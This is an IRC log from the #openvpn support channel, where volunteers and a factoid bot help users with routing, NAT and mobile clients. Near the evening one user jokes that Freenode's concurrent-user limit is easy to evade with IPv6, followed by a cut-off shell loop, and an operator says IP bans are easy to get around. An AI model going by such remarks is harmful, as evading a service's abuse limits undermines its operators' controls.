06:16 -!- nand` is now known as `nand`
06:22 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
06:29 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:45 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 255 seconds]
06:52 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
06:54 -!- mchou [~quassel@unaffiliated/mchou] has quit [Read error: Connection reset by peer]
07:02 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
07:03 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
07:06 -!- kubbing_ [~kubbing@ip-89-176-242-10.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
07:13 -!- fluter [~fluter@fedora/fluter] has quit [Ping timeout: 245 seconds]
07:22 -!- emmanuelux [~emmanuelu@ch.freedom-ip.com] has joined #openvpn
07:31 -!- master_o1_master [~master_of@p4FF247F8.dip.t-dialin.net] has joined #openvpn
07:31 -!- master_of_master [~master_of@p4FF242B7.dip.t-dialin.net] has quit [Read error: Operation timed out]
07:42 -!- LunixA380 [~Lunix@64.62.201.8] has joined #openvpn
07:42 < LunixA380> Hello
07:49 -!- xbanux1 [~xbanux@triband-mum-59.182.177.2.mtnl.net.in] has joined #openvpn
07:51 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
07:52 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
07:54 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
08:06 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
08:06 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 245 seconds]
08:06 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 255 seconds]
08:17 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has joined #openvpn
08:20 -!- LunixA340 [~Lunix@81.41.43.5.rev.vodafone.pt] has joined #openvpn
08:20 < Nothing4You> jzaw: you there?
08:21 -!- LunixA380 [~Lunix@64.62.201.8] has quit [Ping timeout: 245 seconds]
08:24 < jzaw> am now Nothing4You ... couple more hours before my neighbour gets home and can power up my server
08:24 < Nothing4You> kk
08:25 < Nothing4You> how is your neighbour related to that? :o
08:25 -!- LunixA340 [~Lunix@81.41.43.5.rev.vodafone.pt] has quit [Ping timeout: 245 seconds]
08:26 < jzaw> im 2,000km from my server
08:26 < jzaw>  hehe
08:26 < jzaw> he has keys
08:26 < jzaw> and can get into my house to powercycle things
08:26 < Nothing4You> ah lol
08:26 < jzaw> :D
08:26 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
08:28 < Martin`> powercycle your full home :D
08:42 < jzaw> Martin`, sometimes id love to do just that
08:42  * jzaw is going to build a homebrew pdu to network switch almost anything in the house
08:48 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 255 seconds]
09:00 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
09:01 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 255 seconds]
09:44 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:59 -!- xbanux1 [~xbanux@triband-mum-59.182.177.2.mtnl.net.in] has quit [Remote host closed the connection]
09:59 -!- xbanux [~xbanux@triband-mum-59.182.153.93.mtnl.net.in] has joined #openvpn
10:14 -!- jzaw [~jzaw@revo.dzki.co.uk] has quit [Ping timeout: 245 seconds]
10:16 -!- jzaw [~jzaw@revo.dzki.co.uk] has joined #openvpn
10:16 -!- xbanux [~xbanux@triband-mum-59.182.153.93.mtnl.net.in] has quit [Ping timeout: 264 seconds]
10:18 -!- fluter [~fluter@fedora/fluter] has quit [Remote host closed the connection]
10:22 -!- jzaw [~jzaw@revo.dzki.co.uk] has quit [Remote host closed the connection]
10:23 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has quit [Read error: Connection reset by peer]
10:24 -!- Cpt-Oblivious2 [~cpt-obliv@a202101.upc-a.chello.nl] has joined #openvpn
10:28 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
10:32 -!- xbanux1 [~xbanux@triband-mum-59.182.153.93.mtnl.net.in] has joined #openvpn
10:56 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
11:03 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
11:09 -!- jzaw [~jzaw@revo.dzki.co.uk] has joined #openvpn
11:23 -!- xbanux1 [~xbanux@triband-mum-59.182.153.93.mtnl.net.in] has quit []
11:30 -!- Aprogas [aprogas@enki.aprogas.net] has quit [Ping timeout: 264 seconds]
11:38 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
11:44 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:59 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
12:04 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Ping timeout: 256 seconds]
12:07 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
12:10 -!- thinkHell [~Hell@31.59.57.249] has joined #openvpn
12:10 -!- thinkHell [~Hell@31.59.57.249] has quit [Client Quit]
12:10 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
12:10 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
12:10 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
12:11 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
12:11 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
12:11 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
12:18 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
12:18 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
12:19 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:19 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
12:19 -!- Poster [~poster@cpe-173-88-30-149.columbus.res.rr.com] has quit [Quit: help, help i'm drowning get me out of here, drift to the center drift to center, i'm drowning i need some help, center on this heart of fire of love let your heart be your whole life, radiate swell penatrate to the bumpy, burst, burst bleed out bleed out]
12:19 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
12:21 < hg_5> hello
12:22 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
12:32 -!- jaysql [~jaysql@unaffiliated/stafford] has joined #openvpn
12:32 < jaysql> Fellers!
12:32 < jaysql> Is OpenVPN succeptible to MITM over wireless?
12:34 < Eugene> jaysql - tl;dr no
12:34 < jaysql> ok
12:35 -!- jaysql [~jaysql@unaffiliated/stafford] has left #openvpn ["b"]
12:46 < tharkun> One of my remote users (Road Warrior) wants to connect his iphone to our VPN it is a PKI one. There is this L2TP PPTP and IPSec settings. Which one fits best to the pki structure?
12:46 -!- BackEndCoder [~steve@77.75.105.75] has joined #openvpn
12:46 < tharkun> Bare with me. Config is going to be done through a phone line and I really don't know anything about the Iphone.
12:47 < Aketzu> are you even using openvpn with iphone or it's own l2tp/pptp/cisco vpn?
12:49 < pekster> !notcocmpat
12:49 < pekster> !nocompat
12:49 < pekster> !factoids search --values pptp
12:49 <@vpnHelper> 'broadcast-relay', 'bcast', 'pptp', 'notcompat', and 'pptp'
12:49 < pekster> !notcompat
12:49 < tharkun> pekster: one end is openvpn with pki, the other end is an iphone
12:49 <@vpnHelper> "notcompat" is (#1) IPSEC and PPTP are _not_ compatible with OpenVPN. OpenVPN uses SSL whereas PPTP and IPSEC use proprietary protocols and therefore cannot be compatible. or (#2) OpenVPN only connects to OpenVPN
12:50 < pekster> Use the OpenVPN iPhone app then
12:50 < tharkun> pekster: ok, thanks
12:51 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:52 < tharkun> pekster: Is there a BlackBerry openvpn app also?
12:52 < Martin`> !blackberry
12:52 -!- jzaw [~jzaw@revo.dzki.co.uk] has quit [Remote host closed the connection]
12:52 < Martin`> hmm not working :(
12:52 < pekster> There isn't
12:53 < tharkun> pekster: Any known workarounds?
12:53 -!- brute11k [~brute@89.249.230.92] has quit [Ping timeout: 252 seconds]
12:53 < pekster> Buy a less closed-source platform next time?
12:54 < Aketzu> just tell me where to buy good opensource phones :)
12:55 < tharkun> iPhones are extremely fragile and Android is a pain to maintain when there are lots of users. Sorry I'll stick with BB for the masses :)
12:58 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
12:59 -!- brute11k [~brute@89.249.230.92] has joined #openvpn
13:04 -!- jzaw [~jzaw@revo.dzki.co.uk] has joined #openvpn
13:18 -!- Poster [~poster@cpe-173-88-30-149.columbus.res.rr.com] has joined #openvpn
13:23 -!- Xigam [~xbytez@we.are.rootgeeks.com] has joined #openvpn
13:23 < Xigam> !welcome
13:23 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
13:23 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
13:25 -!- jzaw [~jzaw@revo.dzki.co.uk] has quit [Quit: Leaving]
13:25 < Xigam> I would like to access the internet over my vpn. I have set it up and I can connect to it and I get a local IP and I can can connect to the server's local IP, but I cannot access the internet. I have set net.ipv4.ip_forward=1 and sysctl -p, that didn't work, so I rebooted the server and started OpenVPN without any luck, would anybody be able to help me please?
13:25 -!- jzaw [~jzaw@revo.dzki.co.uk] has joined #openvpn
13:25 < Xigam> Thanks in advance
13:26 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
13:28 < pekster> !redirect
13:28 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
13:28 <@vpnHelper> http://ircpimps.org/redirect.png
13:28 < Martin`> I like the flowcharts
13:29 < Xigam> !def1
13:29 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
13:29 < Xigam> !ipforward
13:29 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
13:29 < Xigam> !NAT
13:29 <@vpnHelper> "NAT" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
13:29 -!- Zenum [~quassel@unaffiliated/zenum] has joined #openvpn
13:30 < Xigam> !linnat
13:30 < Xigam> !innat
13:30 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
13:30 < Xigam> !winnat
13:30 <@vpnHelper> "winnat" is (#1) http://www.windowsnetworking.com/articles_tutorials/NAT_Windows_2003_Setup_Configuration.html for a guide on setting up NAT in windows or (#2) http://www.nanodocumet.com/?p=14 for windows XP or (#3) https://community.openvpn.net/openvpn/wiki/NatOverWindows2008 for 2k8
13:31 < Xigam> !linipforward
13:31 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
13:31 < Xigam> !winipforward
13:31 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
13:31 < Xigam> Guys, I have push "redirect-gateway def1"
13:31 < Xigam> I don't have IP tables installed.
13:31 < Xigam> and now what?
13:32 < Xigam> I use Windows Azure by the way.
13:36 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
13:42 < kisom> Xigam: Follow the article at Microsofts site.
13:42 < Xigam> Do you have a link for me or shall I google?
13:42 < kisom> !winipforward
13:42 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
13:42 < Xigam> kisom: Windows Azure cloud service
13:42 < Xigam> It's a linux  machine
13:43 < Xigam> I have already done: set net.ipv4.ip_forward = 1 in sysctl.conf
13:43 < Xigam> and I do not have iptables installed
13:43 < pekster> The flowchart has an awful lot more than that in it
13:44 < pekster> How is iptables "not installed"? That's a pretty standard part of any distro. Go fix your distribution to contain the necessary standard tools
13:45 -!- Embalmed [~embalmed@unaffiliated/embalmed] has joined #openvpn
13:46 < kisom> Do you even need iptables for IP forwarding?
13:46 < kisom> Or am I getting something wrong here?
13:46 < kisom> Should be enough to just enable forwarding in the kernel.
13:46 < Embalmed> is there a way to change the interface openvpn is bound to in openvpn access server without doing openvpn-init ?
13:46 < kisom> Embalmed: Check in #openvpn-as
13:47 < Embalmed> oops ;)  thanks
13:47 -!- Embalmed [~embalmed@unaffiliated/embalmed] has left #openvpn ["Once you know what it is you want to be true, instinct is a very useful device for enabling you to know that it is"]
13:47 < pekster> kisom: NAT requires it. I'm guessing cloud services don't offer huge blocks of public IPv4 space to customemrs ;)
13:47 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:48 < pekster> Well, technically there's some "stateless" NAT available through iproute2 as well, but that's not suitable for general use-cases
13:48 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 260 seconds]
13:59 -!- nutron [~nutron@unaffiliated/nutron] has quit [Remote host closed the connection]
14:05 -!- ChauffeR [squirrel@has.a.fluffy.redtail.it] has quit [Quit: ZNC - http://znc.in]
14:06 -!- ChauffeR [squirrel@has.a.fluffy.redtail.it] has joined #openvpn
14:07 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
14:12 < tharkun> Can openvpn coexista on the same machine with other vpn server?
14:12 < Aketzu> yes
14:13 < tharkun> Aketzu: Thanks
14:20 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:26 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
14:38 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
14:48 -!- jzaw [~jzaw@revo.dzki.co.uk] has quit [Quit: Leaving]
14:48 -!- jzaw_ [~jzaw@revo.dzki.co.uk] has joined #openvpn
14:48 -!- jzaw_ [~jzaw@revo.dzki.co.uk] has quit [Client Quit]
14:49 -!- jzaw_ [~jzaw@revo.dzki.co.uk] has joined #openvpn
14:49 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
14:50 -!- jzaw_ [~jzaw@revo.dzki.co.uk] has quit [Client Quit]
14:52 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
14:56 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:57 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
15:04 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Quit: Leaving]
15:05 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
15:09 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
15:11 < jzaw> !ping
15:11 <@vpnHelper> pong
15:11 < jzaw> ta
15:16 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
15:17 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:18 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
15:21 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
15:28 -!- Cpt-Oblivious2 [~cpt-obliv@a202101.upc-a.chello.nl] has quit [Ping timeout: 260 seconds]
15:30 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:34 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
15:40 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Ping timeout: 255 seconds]
15:42 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
15:51 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
15:55 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 245 seconds]
15:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:56 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
15:58 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
15:58 -!- Orbi [~opera@109.129.52.170] has joined #openvpn
16:05 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Ping timeout: 245 seconds]
16:08 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
16:24 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has joined #openvpn
16:30 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:36 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
16:54 -!- Orbi [~opera@109.129.52.170] has left #openvpn []
16:56 -!- Orbi [~opera@109.129.52.170] has joined #openvpn
17:02 -!- Orbi [~opera@109.129.52.170] has left #openvpn []
17:08 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:16 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Read error: Connection reset by peer]
17:21 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
17:27 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
17:31 -!- smerz_ [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
17:59 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:04 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
18:15 -!- emmanuelux [~emmanuelu@ch.freedom-ip.com] has quit [Quit: emmanuelux]
18:34 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:39 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
18:44 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:50 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
18:50 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
18:57 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Ping timeout: 255 seconds]
18:57 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
18:58 <@ecrist> sup bitches?
18:59 -!- Irssi: #openvpn: Total of 187 nicks [8 ops, 0 halfops, 2 voices, 177 normal]
19:00 <@ecrist> wowsers, dangerously close to 200 people
19:00 -!- JSharpe [~JSharpe@ns264658.ovh.net] has joined #openvpn
19:01 < rob0> let's /kick a few and recover or safety net :)
19:01 < rob0> *our
19:01 < rob0> stoopid yoo key on this keyboard skips at times :(
19:04 < pekster> Easy to get past Freenode's ban on concurrent users with IPv6. for i in $(seq 1 12); …
19:13 <@ecrist> heh
19:14 <@ecrist> IPv6 and tunnels makes IP-based bans easy to get around
19:14 < pekster> Masks can help, although variable PD sizes makes it harder to guess for residential customers
19:14 <@ecrist> that, and so many people have access to so many servers these days
19:15 < pekster> I'm curious to see what happens to email spam when SMTP transports go native v6
19:15 <@ecrist> I have root, not counting work, on at least a couple dozen distinct systems on completely separate IP subnets
19:15 <@ecrist> pekster: email isn't going to change much
19:16 <@ecrist> most of the black lists are smart about it and go to proper routing blocks, including to the AS
19:16 <@ecrist> a lot of email servers are already native IPv6
19:17 < pekster> Backends maybe, but #ipv6 was comparing headers a while back and much of it is still v4, even through google that's v6 enabled elsewhere
19:17 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
19:18 <@ecrist> it depends
19:18 <@ecrist> if two servers are IPv6 enabled, they'll talk via IPv6
19:19 < pekster> Not if the DNS MX is IPv4
19:19 <@ecrist> well, then the mail server wouldn't be fully IPv6 enabled, would it?
19:20 <@ecrist> at this point, IPv6 breakage is due to misconfiguration more than the protocol
19:20 <@ecrist> there were periods in the past where IPv6 just didn't properly support things
19:20 <@ecrist> those days are mostly behind us
19:21 <@ecrist> even if one hop along the way is broken, things will default back to IPv4
19:21 <@ecrist> that's completely out of the hands of either sysadmin on the two end points
19:22  * ecrist sits impatiently while his car's chassis data finishes unpacking so he can begin coding
19:24 < pekster> Wonder if any more US ISPs will follow suit this year with CGN
19:24 <@ecrist> what's that?
19:24 < pekster> RFC6598
19:24  * pekster sees NAT. Everywhere.
19:25 < pekster> Think RFC1918, but for ISPs
19:25 <@ecrist> that looks horrible
19:26 < pekster> Verison's rolling it out to non-FiOS residential customers
19:26 <@ecrist> $work should have it's own IPv4/IPv6/AS in the next month or so
19:27 < pekster> Easier when you don't need to give every customer on a national level their own IP ;)
19:27 <@ecrist> indeed
19:30 < pekster> At least customers can ask for a public v4 IP if they need it, but it was curious they cited lack of global support for v6 as the reason they're not going dual-stack with CGN + IPv6
19:31 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
19:32 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Ping timeout: 245 seconds]
19:33 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
19:41 -!- Poison [~Poison@180.190.15.163] has joined #openvpn
19:44 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
19:44 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
19:45 -!- BackEndCoder [~steve@77.75.105.75] has quit [Remote host closed the connection]
19:45 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
19:46 -!- Poison is now known as bkrieg1337
19:46 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
19:50 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
20:03 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
20:04 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 258 seconds]
20:04 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
20:05 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
20:09 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
20:14 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 246 seconds]
20:15 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
20:18 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:22 -!- bkrieg1337 [~Poison@180.190.15.163] has quit [Quit: Leaving]
20:32 -!- NuclearMeltdown [~rep@unaffiliated/antiliberal] has quit [Ping timeout: 264 seconds]
20:56 -!- fluter [~fluter@fedora/fluter] has quit [Quit: Leaving]
21:00 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:00 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
21:01 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
21:08 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
21:12 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
21:13 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
21:24 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
21:24 -!- smerz_ [~smerz@a177088.upc-a.chello.nl] has quit [Ping timeout: 248 seconds]
21:32 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
21:35 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
21:46 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
22:15 -!- fluter [~fluter@fedora/fluter] has quit [Ping timeout: 258 seconds]
22:19 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
22:21 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
22:36 -!- me0615 [~AndChat23@122.2.46.76] has joined #openvpn
22:54 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has quit [Read error: Connection reset by peer]
22:55 -!- me0615 [~AndChat23@122.2.46.76] has quit [Quit: Bye]
23:51 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
23:51 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
--- Day changed Sun Apr 14 2013
00:03 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Write error: Connection reset by peer]
01:22 -!- pieterm [~pieterm@94-226-169-30.access.telenet.be] has joined #openvpn
02:06 -!- FluxD [~FluxD@unaffiliated/fluxd] has quit [Quit: Leaving]
02:15 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Ping timeout: 256 seconds]
02:25 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
02:28 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
02:53 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:54 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
02:57 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
02:59 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
04:26 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 276 seconds]
04:27 -!- `nand` is now known as nhaas
04:30 -!- nhaas is now known as haasn
04:30 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit []
04:41 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:48 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
04:48 -!- takamichi [~takamichi@83.170.117.176] has joined #openvpn
04:56 -!- takamichi [~takamichi@83.170.117.176] has quit [Ping timeout: 264 seconds]
04:59 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
05:20 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn
05:28 -!- pieterm [~pieterm@94-226-169-30.access.telenet.be] has quit [Quit: pieterm]
05:51 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Ping timeout: 252 seconds]
05:51 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Quit: Konversation terminated!]
